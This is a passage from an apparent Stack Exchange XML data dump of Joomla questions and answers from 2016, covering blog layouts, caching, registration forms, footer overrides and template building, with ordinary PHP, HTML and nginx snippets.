categories?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;If your template provides a module position at the location of your main content, you can create a Featured Articles, or category blog Menu item, set the number of leading, intro and links article to 0 and publish your 3 modules in that position for that menu item.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Or Create 1 article, name it something like Blog Home Page (don't put it in any of your blog categories - better set it as uncategorized), in the article's body, load the 3 modules with loadmodule/loadposition (or use the new J3.5. module editor button), create a new single article menu item, and assign this article to it. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You will have your desired layout in minutes and may end up with something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EWOtO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EWOtO.jpg&quot; alt=&quot;categories/articles display&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Bonus: Links about Joomla Overrides&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Layout Overrides in Joomla.&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;How to override the output of Joomla core&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://docs.joomla.org/Understanding_Output_Overrides&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Understanding Output Overrides&lt;/strong&gt;&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;sup&gt;Note: I am not affiliated in any way with Raxo module&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-02T13:38:56.377" LastActivityDate="2016-07-02T13:38:56.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17043" PostTypeId="2" ParentId="17039" CreationDate="2016-07-02T14:47:48.700" Score="1" Body="&lt;p&gt;I think the problem is from DB Replacer. It seems that it's adding a non-empty value to the fulltext field, and thus triggering the content model to add the &lt;code&gt;&amp;lt;hr id=&quot;system-readmore&quot; /&amp;gt;&lt;/code&gt; code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A non-empty fulltext is the only reason that can make Joomla automatically add the system-readmore code (of course, a non-core plugin can also do that, but that's a different issue).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-02T14:47:48.700" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17044" PostTypeId="2" ParentId="17013" CreationDate="2016-07-02T14:55:15.687" Score="0" Body="&lt;p&gt;You are using an extension from JoomlaThat - I don't know which one, but you can find out by examining your components directory. Once you find out which one, you will need to re-install it as this will restore the file &lt;code&gt;default_email&lt;/code&gt; that was probably accidentally deleted. Alternatively, you can just download the extension, extract it on your machine, and then just copy the &lt;code&gt;default_email&lt;/code&gt; to the appropriate location (there are two &lt;code&gt;default_email&lt;/code&gt; files and they must be copied to 2 different locations - one for the frontend and one for the backend).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-02T14:55:15.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17046" PostTypeId="2" ParentId="696" CreationDate="2016-07-03T02:41:02.287" Score="1" Body="&lt;p&gt;If you're using the &lt;a href=&quot;http://ports.su/www/nginx&quot; rel=&quot;nofollow noreferrer&quot;&gt;nginx&lt;/a&gt; web-server, then you can use the following snippet for the &lt;code&gt;nginx.conf&lt;/code&gt; configuration file where your Joomla! site is served from (basically, just add the if-condition after any existing lines where the &lt;code&gt;index index.php&lt;/code&gt; directive appears).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#https://stackoverflow.com/a/38165768/remove-index-php-from-joomla-urls-with-nginx&#xA;index index.php index.html index.htm;&#xA;if ($request_uri ~ &quot;^/(.*)(?&amp;lt;=/)index\.php/?((?&amp;lt;=/).*)?$&quot;) {    return  301 /$1$2;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More details are at &lt;a href=&quot;https://stackoverflow.com/questions/28997028/remove-index-php-from-joomla-urls-with-nginx/38165768#38165768&quot;&gt;https://stackoverflow.com/questions/28997028/remove-index-php-from-joomla-urls-with-nginx/38165768#38165768&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8638" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-07-03T02:41:02.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17048" PostTypeId="2" ParentId="16455" CreationDate="2016-07-03T21:43:41.820" Score="1" Body="&lt;p&gt;Either your website was hacked or you (or an extension that you installed) have modified some core files. A quick resolution to this problem is copying over the Joomla files from a fresh Joomla install onto your website (minus the installation and the images folder).&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-03T21:43:41.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17050" PostTypeId="2" ParentId="16843" CreationDate="2016-07-04T15:55:53.987" Score="1" Body="&lt;p&gt;Well, if I have got you right, you want to display in your various category blogs pages, all the tags that are involved in these categories. I would say that you would be better off using a module to display tags in your blog page. You will need to find or develop something that provides the possibility to filter by categories - not sure there is something like this already. Do a research in JED for Tags Modules, maybe you are lucky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, here is a quick and rather dirty workaround. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For each category blog page, you can gather all tags of the contained articles using the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;On top of the file start with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Inside the foreach of the leading articles, just below the &lt;code&gt;$this-&amp;gt;item = &amp;amp; $item;&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item = &amp;amp; $item;&#xA;foreach ($this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags as $itemTag) {&#xA;    $tags[$itemTag-&amp;gt;title] = $itemTag;&#xA;}&#xA;echo $this-&amp;gt;loadTemplate('item');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Same code inside the foreach of the intro articles: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;item = &amp;amp; $item;&#xA;foreach ($this-&amp;gt;item-&amp;gt;tags-&amp;gt;itemTags as $itemTag) {&#xA;    $tags[$itemTag-&amp;gt;title] = $itemTag;&#xA;}&#xA;echo $this-&amp;gt;loadTemplate('item');&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You have now ended with an array of &lt;code&gt;$tags&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now loop over the array to get all the tags that are present for the articles available in that particular blog page. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;tagsListBox&quot; class=&quot;tagsListBox&quot;&amp;gt;&#xA;    &amp;lt;ul id=&quot;tagsList&quot; class=&quot;tagsList&quot;&amp;gt;&#xA;        &amp;lt;?php &#xA;        foreach ($tags as $tag) { ?&amp;gt;&#xA;            &amp;lt;li&amp;gt;&amp;lt;?php echo $tag-&amp;gt;title; ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;        &amp;lt;?php } ?&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Wrap your list in a div and give to your elements special ids and classes, so to be able to position it everywhere you want in the page, using special css. &#xA;Place it, outside of any of the foreach loops of leading/intro articles, e.g. above the start of the articles links section:  &lt;code&gt;&amp;lt;?php if (!empty($this-&amp;gt;link_items)) : ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again it's not the most elegant solution, but yet could give you what you want till you find something better.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2016-07-04T16:01:32.643" LastActivityDate="2016-07-04T16:01:32.643" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17051" PostTypeId="2" ParentId="16130" CreationDate="2016-07-05T02:11:23.000" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/10932&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/pull/10932&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer this, apply the patch and you'll be able to view how your article would look like on your website. Not sure if it have user restriction like only admin can view or so.Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="8551" LastActivityDate="2016-07-05T02:11:23.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17052" PostTypeId="1" CreationDate="2016-07-05T03:37:04.117" Score="1" ViewCount="735" Body="&lt;p&gt;This question is related with &lt;a href=&quot;https://joomla.stackexchange.com/questions/16902/change-on-the-back-end-takes-30-mins-or-longer-to-show-on-front-end-what-could&quot;&gt;Change on the back-end takes 30 mins or longer to show on front-end, what could possible be the cause?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I asked the above question I couldn't see any changes on front-end even though I cleared browser cache or changed to a new browser. I still don't know what was going on that day, but today the problem seems to be more identifiable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site in question is &lt;a href=&quot;http://www.peaceevereci.tv/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.peaceevereci.tv/&lt;/a&gt;. I make change to one of the menu itmes, on my other joomla sites, on same computer, this kind of change would of course be seen on front-end in no time; but for this site, I need to cleared browser cache before I can see the change. I contacted the host provider, dreamhost, they gave me a link with proxy, and from that link I can see changes immediately. So they said this had nothing to do with them because that means they have served the content correctly. So this has something to do with my joomla setting?? I can't find where.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After all, browser only caches scripts and images, no? How come it is caching my menu item, which Joomla gets from a database?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, not only changes like changing menu item title, but also toggling feature status needs clearing browser cache before it can be seen. I havn't tried them all but I guess any change I make on back-end would require clearing browser cache, why is this?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2016-07-05T06:04:35.193" Title="Why do I have to clear browser cache to see backend changes?" Tags="|joomla-3.x|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17053" PostTypeId="1" CreationDate="2016-07-05T05:16:43.027" Score="0" ViewCount="1425" Body="&lt;p&gt;I have gone through some Q&amp;amp;A but not sure how to do it. I want the registration form will be only--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name&#xA;Email&#xA;Password&#xA;Re-type Password&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed Authentication - EMail and Authentication - Awo Email Login.Then how to do next? Thank you very much. &lt;/p&gt;&#xA;" OwnerUserId="8646" LastEditorUserId="7394" LastEditDate="2016-07-05T18:53:27.877" LastActivityDate="2017-07-25T13:00:52.663" Title="How to remove username in the Joomla registration" Tags="|overrides|registration|3.5.1|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17055" PostTypeId="2" ParentId="17052" CreationDate="2016-07-05T06:04:35.193" Score="2" Body="&lt;p&gt;We had a similar issue with a client before - you can find it &lt;a href=&quot;http://www.itoctopus.com/how-to-disable-browser-caching-in-joomla-backend&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. The issue was resolved by creating an &lt;code&gt;.htaccess&lt;/code&gt; file under the administrator folder, and then adding (to the &lt;code&gt;.htaccess&lt;/code&gt; file) specific instructions not to cache any HTML or PHP files. Try it on your website and let us know whether it'll solve your problem. Note that if you still have the problem on your backend, then this means there is some aggressive host caching going on, and you must contact your host to avoid it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for answering your questions:  Browsers, by default, cache JS/CSS/media/document files - they don't cache PHP/HTML pages. Joomla can instruct the browser (by using the &quot;System - Cache&quot; plugin) to leverage browser caching. Additionally, some servers explicitly tell the browser to cache PHP/HTML content to reduce their load (this is a widespread characteristic in mainstream shared hosts). However, it is always up to the browser to honor these instructions (and almost all browsers do, unless their internal settings are modified not to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, if you tell the browser, in the &lt;code&gt;.htaccess&lt;/code&gt; file, not to cache PHP/HTML files, then most likely your problem will be solved.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2016-07-05T06:04:35.193" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17056" PostTypeId="2" ParentId="12406" CreationDate="2016-07-05T07:51:25.417" Score="2" Body="&lt;p&gt;&lt;strong&gt;sh404SEF developer here&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The answer by FFrewin above is not correct. To redirect some URLs to home page, you simply:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the &quot;&lt;strong&gt;Home page meta&lt;/strong&gt;&quot; toolbar button on any page of sh404SEF control panel&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the popup, select the &quot;&lt;strong&gt;Aliases&lt;/strong&gt;&quot; input box and list the URLs you want to redirect to home page, one per line.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;strong&gt;Save&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8650" LastEditorUserId="126" LastEditDate="2016-07-05T08:55:13.323" LastActivityDate="2016-07-05T08:55:13.323" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17057" PostTypeId="2" ParentId="17053" CreationDate="2016-07-05T07:59:49.457" Score="2" Body="&lt;p&gt;You really don't need to install third-party plugins for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just create template override for com_users registration and there you can hide username field and copy email field value into this field on form submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so this is gone be pure Joomla solution, &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;do it like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;go to &lt;a href=&quot;http://katalog.dev/administrator/index.php?option=com_templates&amp;amp;view=templates&quot; rel=&quot;nofollow&quot;&gt;http://katalog.dev/administrator/index.php?option=com_templates&amp;amp;view=templates&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;open template needed&lt;/li&gt;&#xA;&lt;li&gt;&quot;Create override&quot; tab =&gt; com_users =&gt; registration&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now you have override. Next step is code changes&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/alex7r/8baccd234c6c9a009042aa1219c99c64/revisions?diff=unified&quot; rel=&quot;nofollow&quot;&gt;See changes needed to files here&lt;/a&gt; at gist.github (you need changes from &quot;alex7r revised this gist&quot;)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt; that file name is not &lt;code&gt;com_users_registration_default.php&lt;/code&gt; but &lt;code&gt;com_users/registration/default.php&lt;/code&gt;. And full path is &lt;code&gt;/templates/YOUR_TEMPLATE/html/com_users/registration/default.php&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2016-07-06T19:28:49.610" LastActivityDate="2016-07-06T19:28:49.610" CommentCount="17" ContentLicense="CC BY-SA 3.0" />
  <row Id="17059" PostTypeId="1" CreationDate="2016-07-05T14:11:52.327" Score="1" ViewCount="146" Body="&lt;p&gt;I have been doing some research on the possibility of adding a sass bem library into a joomla project. I have not found something yet but not sure if this is possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am also new to the joomla environment so I'm learning my way around it to implement a work environment I am comfortable with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this &lt;a href=&quot;https://github.com/danielguillan/bem-constructor&quot; rel=&quot;nofollow&quot;&gt;Sass Bem Library&lt;/a&gt; by Daniel Guillan I want to use together with &lt;a href=&quot;https://github.com/phproberto/joomla-gulp&quot; rel=&quot;nofollow&quot;&gt;Joomla Gulp&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any Idea how I can implement this into a joomla project?&lt;/p&gt;&#xA;" OwnerUserId="8649" LastActivityDate="2016-09-11T10:05:59.720" Title="Is there a way of implementing a bem sass library into a joomla project?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17060" PostTypeId="1" CreationDate="2016-07-05T14:37:45.107" Score="0" ViewCount="2190" Body="&lt;p&gt;i'm trying to create a modification of the footer Joomla copyright default module. I'm creating a template languge override, but this does't work very suitably, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i would like to know how to edit the text displayed in the footer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sLmuK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sLmuK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/tqz2f.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tqz2f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/K3eox.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/K3eox.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/sqwfp.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sqwfp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8402" LastEditorUserId="8402" LastEditDate="2016-07-05T17:56:41.200" LastActivityDate="2016-07-05T17:56:41.200" Title="How to edit the html code of a custom footer module template override" Tags="|module|template-override|joomla-3.5|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17061" PostTypeId="1" AcceptedAnswerId="17065" CreationDate="2016-07-05T14:54:32.757" Score="5" ViewCount="1836" Body="&lt;p&gt;I am running an internship at a small company, and I am supposed to create their new website. I have coded on my computer, in HTML5/CSS&amp;nbsp;3 and some JavaScript code, a website that pleases all of us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is an issue though, which is that none of us have ever uploaded a website. Furthermore, three weeks in, when I was practically finished, my boss told me that she could edit the former website, and that she wanted to be able to continue to be able to. She showed me that it was hosted using a Joomla! application, and I see that it looks practical at first (being able to edit the pages so easily).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after researching a little, I haven't found a way to simply take my page and its CSS and put it in there. I think the application is limited to the premade templates regarding CSS. My questions are therefore many:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Is there a way to upload HTML/CSS pages to Joomla?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not, is there a tool that can be used to upload my finished site AND be editable by someone who knows nothing of code?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If not, how difficult is it to create a Joomla template which would basically apply my CSS file to the site?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8654" LastEditorUserId="438" LastEditDate="2016-07-05T19:21:48.323" LastActivityDate="2016-07-05T23:44:06.940" Title="Upload HTML5/CSS3 to Joomla" Tags="|joomla-3.x|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17062" PostTypeId="2" ParentId="17061" CreationDate="2016-07-05T15:01:33.833" Score="1" Body="&lt;p&gt;You can't just upload HTML file to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla is a CMS (Content Manage System), which is powered by an MCV framework and extensions, such as &lt;code&gt;com_content&lt;/code&gt; (Content Management).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template itself is only the base structure for a Joomla site. Each extensions has a view containing HTML markup. The markup for all extensions and then pushed into the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet would be to duplicate the default Joomla template (Protostar if using Joomla 3.x) and then start implementing your HTML and CSS section by section.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-07-05T15:01:33.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17063" PostTypeId="1" CreationDate="2016-07-05T15:48:49.877" Score="1" ViewCount="45" Body="&lt;p&gt;I've tried pretty much every free file download component I could find, all of them are flawed to the point where I dont see them as the answer for my site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like something that is coded with Joomla 3x and future expansions in mind, therefore MVC. Would also like Bootstrap 3 since that is what the rest of my site is running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I have tried jdownloads (seriously aging and not MVC or BS3)&#xA;Phoca Downloads (very very poorly written)&#xA;T-Download Store (this is the closest to what I was looking for but development froze and support is non existent and current release is extremely buggy)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I am open to paid components, but since there is no real way for me to see the code before purchase and demos are pretty limited, I really have no way of knowing how well these are truly written.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than my primary architectural desires, would also like to be able to have version history for each product downloadable, tagging (mainly for my plugins to illustrate compatible software versions).&lt;/p&gt;&#xA;" OwnerUserId="8655" LastEditorUserId="8655" LastEditDate="2016-07-05T17:50:29.223" LastActivityDate="2016-07-05T17:50:29.223" Title="Are there any file download components for joomla that are MVC and Bootstrap?" Tags="|joomla-3.x|component|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17064" PostTypeId="2" ParentId="17060" CreationDate="2016-07-05T15:59:54.780" Score="2" Body="&lt;p&gt;Your screenshot makes no sense, that's not the right place to override a module.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla footer module (&lt;code&gt;modules\mod_footer&lt;/code&gt;) is a simple module that basically outputs some lines of text, and if you want to modify the output, the simplest solution is to add a &lt;code&gt;Custom&lt;/code&gt; module from your module manager:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zqSUY.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zqSUY.jpg&quot; alt=&quot;Custom module&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Publish the module to the same position as your footer module, and unpublish the current one.&lt;/p&gt;&#xA;&lt;h2&gt;Alternative&lt;/h2&gt;&#xA;&lt;p&gt;If you prefer to use the &lt;code&gt;mod_footer&lt;/code&gt; module, you can override the output by copying the file &lt;code&gt;ROOT\modules\mod_footer\tmpl\default.php&lt;/code&gt; to &lt;code&gt;ROOT\templates\YOURTEMPLATE\html\mod_footer\default.php&lt;/code&gt;. Edit the file to suit your needs.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-07-05T15:59:54.780" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17065" PostTypeId="2" ParentId="17061" CreationDate="2016-07-05T16:03:22.750" Score="4" Body="&lt;p&gt;First, your boss did you a huge disservice by not properly bullet pointing what they expected, though most rarely even know what Joomla or a CMS are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically writing a template is not very difficult at all, if you already have a bunch of HTML and CSS this pretty much acts as your &quot;mockup&quot;. Next I would suggest grabbing a copy of &lt;a href=&quot;https://github.com/Bloggerschmidt/Blank&quot; rel=&quot;nofollow&quot;&gt;the &quot;blank&quot; template&lt;/a&gt;. What that is is exactly what it sounds like; it sets up and lays out everything that will be required to make a Joomla-recognizable template, but without any of the HTML or CSS markup of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will have to tweak the XML a bit to include your meta information as well as the module positions you intend to use (there are tons of tutorials for this so I won't detail).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next step will be to do a quick readup on how to implement module positions and content positions into a template; it's really very easy; you put &lt;code&gt;&amp;lt;jdoc:include type=&quot;component&quot; /&amp;gt;&lt;/code&gt; where you want your Joomla-defined content to show, and you put &lt;code&gt;&amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;left-column&quot; style=&quot;well&quot; /&amp;gt;&lt;/code&gt; where you want a module position to be (note the names will be different for your implementation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember, content does NOT get hardcoded into Joomla templates; that completely defeats the purpose of Joomla. Instead the template should just pretty much be a bunch of divs that layout where content will go. The actual content is done by writing or using existing modules and components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Joomla template consists of several files that house the JavaScript, CSS, HTML, logic PHP, and template data separately, but the template itself where the markup is, is fairly easy to design and work with. An example from my site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined( '_JEXEC' ) or die;&#xA;&#xA;include_once JPATH_THEMES.'/'.$this-&amp;gt;template.'/logic.php';&#xA;&#xA;?&amp;gt;&amp;lt;!doctype html&amp;gt;&#xA;&#xA;&amp;lt;html lang=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0&quot; /&amp;gt;&#xA;    &amp;lt;link rel=&quot;apple-touch-icon-precomposed&quot; href=&quot;&amp;lt;?php echo $tpath; ?&amp;gt;/images/apple-touch-icon-57x57-precomposed.png&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;72x72&quot; href=&quot;&amp;lt;?php echo $tpath; ?&amp;gt;/images/apple-touch-icon-72x72-precomposed.png&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;114x114&quot; href=&quot;&amp;lt;?php echo $tpath; ?&amp;gt;/images/apple-touch-icon-114x114-precomposed.png&quot;&amp;gt;&#xA;    &amp;lt;link rel=&quot;apple-touch-icon-precomposed&quot; sizes=&quot;144x144&quot; href=&quot;&amp;lt;?php echo $tpath; ?&amp;gt;/images/apple-touch-icon-144x144-precomposed.png&quot;&amp;gt;&#xA;    &amp;lt;!-- Le HTML5 shim and media query for IE8 support --&amp;gt;&#xA;    &amp;lt;!--[if lt IE 9]&amp;gt;&#xA;    &amp;lt;script src=&quot;//html5shim.googlecode.com/svn/trunk/html5.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;&amp;lt;?php echo $tpath; ?&amp;gt;/js/respond.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;![endif]--&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body class=&quot;&amp;lt;?php echo (($menu-&amp;gt;getActive() == $menu-&amp;gt;getDefault()) ? ('front') : ('site')).' '.$active-&amp;gt;alias.' '.$pageclass; ?&amp;gt;&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;page_wrapper&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;page_header_wrapper hidden-xs&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;page_header fixed_width&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;headerbar_left&quot;&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;headerbar-left&quot; style=&quot;blank&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;headerbar_right&quot;&amp;gt;&#xA;                    &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;headerbar-right&quot; style=&quot;blank&quot;/&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;main_menu_wrapper navbar&quot;&amp;gt;&#xA;            &amp;lt;nav class=&quot;navbar navbar-inverse affix-top&quot; 